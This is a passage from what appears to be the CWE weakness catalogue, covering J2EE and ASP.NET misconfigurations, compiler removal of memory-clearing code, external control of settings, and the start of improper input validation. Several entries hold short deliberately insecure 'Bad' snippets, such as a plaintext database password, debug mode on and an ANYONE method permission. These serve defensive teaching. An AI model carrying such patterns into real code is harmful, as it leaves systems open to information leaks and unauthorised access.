A Web application must define a default error page for 4xx errors (e.g. 404), 5xx (e.g. 500) errors and catch java.lang.Throwable exceptions to prevent attackers from mining information from the application container's built-in error response.

When an attacker explores a web site looking for vulnerabilities, the amount of information that the site provides is crucial to the eventual success or failure of any attempted attacks.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	③	756	Missing Custom Error Page	1469

### Applicable Platforms

**Language** : Java (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data  <i>A stack trace might show the attacker a malformed SQL query string, the type of database being used, and the version of the application container. This information enables the attacker to target known vulnerabilities in these components.</i>	

### Potential Mitigations

#### Phase: Implementation

Handle exceptions appropriately in source code.

#### Phase: Implementation

#### Phase: System Configuration

Always define appropriate error pages. The application configuration should specify a default error page in order to guarantee that the application will never leak error messages to an attacker. Handling standard HTTP error codes is useful and user-friendly in addition to being a good security practice, and a good configuration will also define a last-chance error handler that catches any exception that could possibly be thrown by the application.

#### Phase: Implementation

Do not attempt to process an error or attempt to mask it.

#### Phase: Implementation

Verify return values are correct and do not supply sensitive information about the system.

### Demonstrative Examples

#### Example 1:

In the snippet below, an unchecked runtime exception thrown from within the try block may cause the container to display its default error page (which may contain a full stack trace, among other things).

*Example Language: Java*

*(Bad)*

```
Public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    try {
        ...
    } catch (ApplicationSpecificException ase) {
        logger.error("Caught: " + ase.toString());
    }
}
```

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		2	7PK - Environment	700	2099
MemberOf		728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	711	2131
MemberOf		731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2133
MemberOf		963	SFP Secondary Cluster: Exposed Data	888	2193

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			J2EE Misconfiguration: Missing Error Handling

### References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

[REF-65]M. Howard, D. LeBlanc and J. Viega. "19 Deadly Sins of Software Security". 2005 July 6. McGraw-Hill/Osborne.

## CWE-8: J2EE Misconfiguration: Entity Bean Declared Remote

**Weakness ID** : 8

**Structure** : Simple

**Abstraction** : Variant

### Description

When an application exposes a remote interface for an entity bean, it might also expose methods that get or set the bean's data. These methods could be leveraged to read sensitive information, or to change data in ways that violate the application's expectations, potentially leading to other vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1380

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Modify Application Data	

### Potential Mitigations

**Phase: Implementation**

Declare Java beans "local" when possible. When a bean must be remotely accessible, make sure that sensitive information is not exposed, and ensure that the application logic performs appropriate validation of any data that might be modified by an attacker.

**Demonstrative Examples****Example 1:**

The following example demonstrates the weakness.

Example Language: XML

(Bad)

```
<ejb-jar>
  <enterprise-beans>
    <entity>
      <ejb-name>EmployeeRecord</ejb-name>
      <home>com.wombat.empl.EmployeeRecordHome</home>
      <remote>com.wombat.empl.EmployeeRecord</remote>
      ...
    </entity>
    ...
  </enterprise-beans>
</ejb-jar>
```

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		2	7PK - Environment	700	2099
MemberOf		731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2133
MemberOf		963	SFP Secondary Cluster: Exposed Data	888	2193

**Notes****Other**

Entity beans that expose a remote interface become part of an application's attack surface. For performance reasons, an application should rarely use remote entity beans, so there is a good chance that a remote entity bean declaration is an error.

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			J2EE Misconfiguration: Unsafe Bean Declaration
Software Fault Patterns	SFP23		Exposed Data

**References**

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

**CWE-9: J2EE Misconfiguration: Weak Access Permissions for EJB Methods**

Weakness ID : 9

**Structure** : Simple  
**Abstraction** : Variant

## Description

If elevated access rights are assigned to EJB methods, then an attacker can take advantage of the permissions to exploit the product.

## Extended Description

If the EJB deployment descriptor contains one or more method permissions that grant access to the special ANYONE role, it indicates that access control for the application has not been fully thought through or that the application is structured in such a way that reasonable access control restrictions are impossible.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		266	Incorrect Privilege Assignment	605

## Common Consequences

Scope	Impact	Likelihood
Other	Other	

## Potential Mitigations

**Phase: Architecture and Design**

**Phase: System Configuration**

Follow the principle of least privilege when assigning access rights to EJB methods. Permission to invoke EJB methods should not be granted to the ANYONE role.

## Demonstrative Examples

### Example 1:

The following deployment descriptor grants ANYONE permission to invoke the Employee EJB's method named getSalary().

*Example Language: XML*

*(Bad)*

```
<ejb-jar>
...
<assembly-descriptor>
  <method-permission>
    <role-name>ANYONE</role-name>
    <method>
      <ejb-name>Employee</ejb-name>
      <method-name>getSalary</method-name>
    </method-permission>
  </assembly-descriptor>
...
</ejb-jar>
```

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.



Nature	Type	ID	Name	V	Page
MemberOf	C	2	7PK - Environment	700	2099
MemberOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	2128
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2133
MemberOf	C	901	SFP Primary Cluster: Privilege	888	2179

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			J2EE Misconfiguration: Weak Access Permissions

### References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

## CWE-11: ASP.NET Misconfiguration: Creating Debug Binary

**Weakness ID** : 11

**Structure** : Simple

**Abstraction** : Variant

### Description

Debugging messages help attackers learn about the system and plan a form of attack.

### Extended Description

ASP .NET applications can be configured to produce debug binaries. These binaries give detailed debugging messages and should not be used in production environments. Debug binaries are meant to be used in a development or testing environment and can pose a security risk if they are deployed to production.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	B	489	Active Debug Code	1106

### Applicable Platforms

**Language** : ASP.NET (Prevalence = Undetermined)

### Background Details

The debug attribute of the <compilation> tag defines whether compiled binaries should include debugging information. The use of debug binaries causes an application to provide as much information about itself as possible to the user.

### Common Consequences



Scope	Impact	Likelihood
Confidentiality	Read Application Data  <i>Attackers can leverage the additional information they gain from debugging output to mount attacks targeted on the framework, database, or other resources used by the application.</i>	

## Potential Mitigations

### Phase: System Configuration

Avoid releasing debug binaries into the production environment. Change the debug mode to false when the application is deployed into production.

## Demonstrative Examples

### Example 1:

The file web.config contains the debug mode setting. Setting debug to "true" will let the browser display debugging information.

Example Language: XML

(Bad)

```
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
  <system.web>
    <compilation
      defaultLanguage="c#"
      debug="true"
    />
    ...
  </system.web>
</configuration>
```

Change the debug mode to false when the application is deployed into production.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		2	7PK - Environment	700	2099
MemberOf		731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2133
MemberOf		963	SFP Secondary Cluster: Exposed Data	888	2193
MemberOf		1349	OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration	1344	2286

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			ASP.NET Misconfiguration: Creating Debug Binary

## References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

## CWE-12: ASP.NET Misconfiguration: Missing Custom Error Page

**Weakness ID** : 12  
**Structure** : Simple  
**Abstraction** : Variant

### Description

An ASP .NET application must enable custom error pages in order to prevent attackers from mining information from the framework's built-in responses.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	⊗	756	Missing Custom Error Page	1469

### Applicable Platforms

**Language** : ASP.NET (*Prevalence = Undetermined*)

### Background Details

The mode attribute of the <customErrors> tag defines whether custom or default error pages are used.

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data  <i>Default error pages gives detailed information about the error that occurred, and should not be used in production environments. Attackers can leverage the additional information provided by a default error page to mount attacks targeted on the framework, database, or other resources used by the application.</i>	

### Potential Mitigations

#### Phase: System Configuration

Handle exceptions appropriately in source code. ASP .NET applications should be configured to use custom error pages instead of the framework default page.

#### Phase: Architecture and Design

Do not attempt to process an error or attempt to mask it.

#### Phase: Implementation

Verify return values are correct and do not supply sensitive information about the system.

### Demonstrative Examples

#### Example 1:

The mode attribute of the <customErrors> tag in the Web.config file defines whether custom or default error pages are used.

In the following insecure ASP.NET application setting, custom error message mode is turned off. An ASP.NET error message with detailed stack trace and platform versions will be returned.

Example Language: ASP.NET

(Bad)

```
<customErrors mode="Off" />
```

A more secure setting is to set the custom error message mode for remote users only. No defaultRedirect error page is specified. The local user on the web server will see a detailed stack trace. For remote users, an ASP.NET error message with the server customError configuration setting and the platform version will be returned.

Example Language: ASP.NET

(Good)

```
<customErrors mode="RemoteOnly" />
```

Another secure option is to set the mode attribute of the <customErrors> tag to use a custom page as follows:

Example Language: ASP.NET

(Good)

```
<customErrors mode="On" defaultRedirect="YourErrorPage.htm" />
```

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	2	7PK - Environment	700	2099
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2133
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2193

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			ASP.NET Misconfiguration: Missing Custom Error Handling

### References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

[REF-65]M. Howard, D. LeBlanc and J. Viega. "19 Deadly Sins of Software Security". 2005 July 6. McGraw-Hill/Osborne.

[REF-66]OWASP, Fortify Software. "ASP.NET Misconfiguration: Missing Custom Error Handling". < [http://www.owasp.org/index.php/ASP.NET\\_Misconfiguration:\\_Missing\\_Custom\\_Error\\_Handling](http://www.owasp.org/index.php/ASP.NET_Misconfiguration:_Missing_Custom_Error_Handling) >.

## CWE-13: ASP.NET Misconfiguration: Password in Configuration File

Weakness ID : 13

Structure : Simple

Abstraction : Variant

### Description

Storing a plaintext password in a configuration file allows anyone who can read the file access to the password-protected resource making them an easy target for attackers.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		260	Password in Configuration File	596

## Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

## Potential Mitigations

### Phase: Implementation

Credentials stored in configuration files should be encrypted, Use standard APIs and industry accepted algorithms to encrypt the credentials stored in configuration files.

## Demonstrative Examples

### Example 1:

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database, but the pair is stored in plaintext.

*Example Language: ASP.NET*

*(Bad)*

```
...
<connectionStrings>
  <add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
    providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		2	7PK - Environment	700	2099
MemberOf		731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2133
MemberOf		963	SFP Secondary Cluster: Exposed Data	888	2193
MemberOf		1349	OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration	1344	2286

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			ASP.NET Misconfiguration: Password in Configuration File

## References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

[REF-103]Microsoft Corporation. "How To: Encrypt Configuration Sections in ASP.NET 2.0 Using DPAPI". < <http://msdn.microsoft.com/en-us/library/ms998280.aspx> >.

[REF-104]Microsoft Corporation. "How To: Encrypt Configuration Sections in ASP.NET 2.0 Using RSA". < <http://msdn.microsoft.com/en-us/library/ms998283.aspx> >.

[REF-105]Microsoft Corporation. ".NET Framework Developer's Guide - Securing Connection Strings". < [http://msdn.microsoft.com/en-us/library/89211k9b\(VS.80\).aspx](http://msdn.microsoft.com/en-us/library/89211k9b(VS.80).aspx) >.

## CWE-14: Compiler Removal of Code to Clear Buffers

**Weakness ID** : 14

**Structure** : Simple

**Abstraction** : Variant

### Description

Sensitive memory is cleared according to the source code, but compiler optimizations leave the memory untouched when it is not read from again, aka "dead store removal."

### Extended Description

This compiler optimization error occurs when:

- 1. Secret data are stored in memory.
- 2. The secret data are scrubbed from memory by overwriting its contents.
- 3. The source code is compiled using an optimizing compiler, which identifies and removes the function that overwrites the contents as a dead store because the memory is not used subsequently.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		733	Compiler Optimization Removal or Modification of Security-critical Code	1454

### Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality Access Control	Read Memory Bypass Protection Mechanism	
<p><i>This weakness will allow data that has not been cleared from memory to be read. If this data contains sensitive password information, then an attacker can read the password and use the information to bypass protection mechanisms.</i></p>		

## Detection Methods

### Black Box

This specific weakness is impossible to detect using black box methods. While an analyst could examine memory to see that it has not been scrubbed, an analysis of the executable would not be successful. This is because the compiler has already removed the relevant code. Only the source code shows whether the programmer intended to clear the memory or not, so this weakness is indistinguishable from others.

### White Box

This weakness is only detectable using white box methods (see black box detection factor). Careful analysis is required to determine if the code is likely to be removed by the compiler.

## Potential Mitigations

### Phase: Implementation

Store the sensitive data in a "volatile" memory location if available.

### Phase: Build and Compilation

If possible, configure your compiler so that it does not remove dead stores.

### Phase: Architecture and Design

Where possible, encrypt sensitive data that are used by a software system.

## Demonstrative Examples

### Example 1:

The following code reads a password from the user, uses the password to connect to a back-end mainframe and then attempts to scrub the password from memory using `memset()`.

Example Language: C

(Bad)

```
void GetData(char *MFAddr) {
    char pwd[64];
    if (GetPasswordFromUser(pwd, sizeof(pwd))) {
        if (ConnectToMainframe(MFAddr, pwd) {
            // Interaction with mainframe
        }
    }
    memset(pwd, 0, sizeof(pwd));
}
```

The code in the example will behave correctly if it is executed verbatim, but if the code is compiled using an optimizing compiler, such as Microsoft Visual C++ .NET or GCC 3.x, then the call to `memset()` will be removed as a dead store because the buffer `pwd` is not used after its value is overwritten [18]. Because the buffer `pwd` contains a sensitive value, the application may be vulnerable to attack if the data are left memory resident. If attackers are able to access the correct region of memory, they may use the recovered password to gain control of the system.

It is common practice to overwrite sensitive data manipulated in memory, such as passwords or cryptographic keys, in order to prevent attackers from learning system secrets. However, with the



advent of optimizing compilers, programs do not always behave as their source code alone would suggest. In the example, the compiler interprets the call to `memset()` as dead code because the memory being written to is not subsequently used, despite the fact that there is clearly a security motivation for the operation to occur. The problem here is that many compilers, and in fact many programming languages, do not take this and other security concerns into consideration in their efforts to improve efficiency.

Attackers typically exploit this type of vulnerability by using a core dump or runtime mechanism to access the memory used by a particular application and recover the secret information. Once an attacker has access to the secret information, it is relatively straightforward to further exploit the system and possibly compromise other resources with which the application interacts.

### Affected Resources

- Memory

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	C	2	7PK - Environment	700	2099
MemberOf	C	729	OWASP Top Ten 2004 Category A8 - Insecure Storage	711	2131
MemberOf	C	747	CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)	734	2144
MemberOf	C	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	2174
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2193

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Insecure Compiler Optimization
PLOVER			Sensitive memory uncleared by compiler optimization
OWASP Top Ten 2004	A8	CWE More Specific	Insecure Storage
CERT C Secure Coding	MSC06-C		Be aware of compiler optimization when dealing with sensitive data
Software Fault Patterns	SFP23		Exposed Data

### References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

[REF-124]Michael Howard. "When scrubbing secrets in memory doesn't work". BugTraq. 2002 November 5. < <http://cert.uni-stuttgart.de/archive/bugtraq/2002/11/msg00046.html> >.

[REF-125]Michael Howard. "Some Bad News and Some Good News". 2002 October 1. Microsoft. < <http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dncode/html/secure10102002.asp> >.

[REF-126]Joseph Wagner. "GNU GCC: Optimizer Removes Code Necessary for Security". Bugtraq. 2002 November 6. < <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2002-11/0257.html> >.

## CWE-15: External Control of System or Configuration Setting

**Weakness ID** : 15

**Structure** : Simple

**Abstraction** : Base

### Description

One or more system settings or configuration elements can be externally controlled by a user.

### Extended Description

Allowing external control of system settings can disrupt service or cause an application to behave in unexpected, and potentially malicious ways.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		610	Externally Controlled Reference to a Resource in Another Sphere	1285
ChildOf		642	External Control of Critical State Data	1330

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		371	State Issues	2114

*Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)*

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	19

### Applicable Platforms

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

**Technology** : ICS/OT (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

### Potential Mitigations

**Phase:** Architecture and Design

*Strategy = Separation of Privilege*

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

#### Phase: Implementation

#### Phase: Architecture and Design

Because setting manipulation covers a diverse set of functions, any attempt at illustrating it will inevitably be incomplete. Rather than searching for a tight-knit relationship between the functions addressed in the setting manipulation category, take a step back and consider the sorts of system values that an attacker should not be allowed to control.

#### Phase: Implementation

#### Phase: Architecture and Design

In general, do not allow user-provided or otherwise untrusted data to control sensitive values. The leverage that an attacker gains by controlling these values is not always immediately obvious, but do not underestimate the creativity of the attacker.

### Demonstrative Examples

#### Example 1:

The following C code accepts a number as one of its command line parameters and sets it as the host ID of the current machine.

*Example Language: C*

*(Bad)*

```
...
sethostid(argv[1]);
...
```

Although a process must be privileged to successfully invoke `sethostid()`, unprivileged users may be able to invoke the program. The code in this example allows user input to directly control the value of a system setting. If an attacker provides a malicious value for host ID, the attacker can misidentify the affected machine on the network or cause other unintended behavior.

#### Example 2:

The following Java code snippet reads a string from an `HttpServletRequest` and sets it as the active catalog for a database Connection.

*Example Language: Java*

*(Bad)*

```
...
conn.setCatalog(request.getParameter("catalog"));
...
```

In this example, an attacker could cause an error by providing a nonexistent catalog name or connect to an unauthorized portion of the database.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	994	SFP Secondary Cluster: Tainted Input to Variable	888	2210

Nature	Type	ID	Name	V	Page
MemberOf	C	1349	OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration	1344	2286
MemberOf	C	1368	ICS Dependencies (& Architecture): External Digital Systems	1358	2297

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Setting Manipulation
Software Fault Patterns	SFP25		Tainted input to variable

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
13	Subverting Environment Variable Values
69	Target Programs with Elevated Privileges
76	Manipulating Web Input to File System Calls
77	Manipulating User-Controlled Variables
146	XML Schema Poisoning
176	Configuration/Environment Manipulation
203	Manipulate Registry Information
270	Modification of Registry Run Keys
271	Schema Poisoning
579	Replace Winlogon Helper DLL

### References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

## CWE-20: Improper Input Validation

**Weakness ID** : 20  
**Structure** : Simple  
**Abstraction** : Class

### Description

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

### Extended Description

Input validation is a frequently-used technique for checking potentially dangerous inputs in order to ensure that the inputs are safe for processing within the code, or when communicating with other components. When software does not validate input properly, an attacker is able to craft the input in a form that is not expected by the rest of the application. This will lead to parts of the system receiving unintended input, which may result in altered control flow, arbitrary control of a resource, or arbitrary code execution.

Input validation is not the only technique for processing input, however. Other techniques attempt to transform potentially-dangerous input into something safe, such as filtering (CWE-790) - which attempts to remove dangerous inputs - or encoding/escaping (CWE-116), which attempts to ensure that the input is not misinterpreted when it is included in output to another component. Other techniques exist as well (see CWE-138 for more examples.)

Input validation can be applied to:

- raw data - strings, numbers, parameters, file contents, etc.
- metadata - information about the raw data, such as headers or size

Data can be simple or structured. Structured data can be composed of many nested layers, composed of combinations of metadata and raw data, with other simple or structured data.

Many properties of raw data or metadata may need to be validated upon entry into the code, such as:

- specified quantities such as size, length, frequency, price, rate, number of operations, time, etc.
- implied or derived quantities, such as the actual size of a file instead of a specified size
- indexes, offsets, or positions into more complex data structures
- symbolic keys or other elements into hash tables, associative arrays, etc.
- well-formedness, i.e. syntactic correctness - compliance with expected syntax
- lexical token correctness - compliance with rules for what is treated as a token
- specified or derived type - the actual type of the input (or what the input appears to be)
- consistency - between individual data elements, between raw data and metadata, between references, etc.
- conformance to domain-specific rules, e.g. business logic
- equivalence - ensuring that equivalent inputs are treated the same
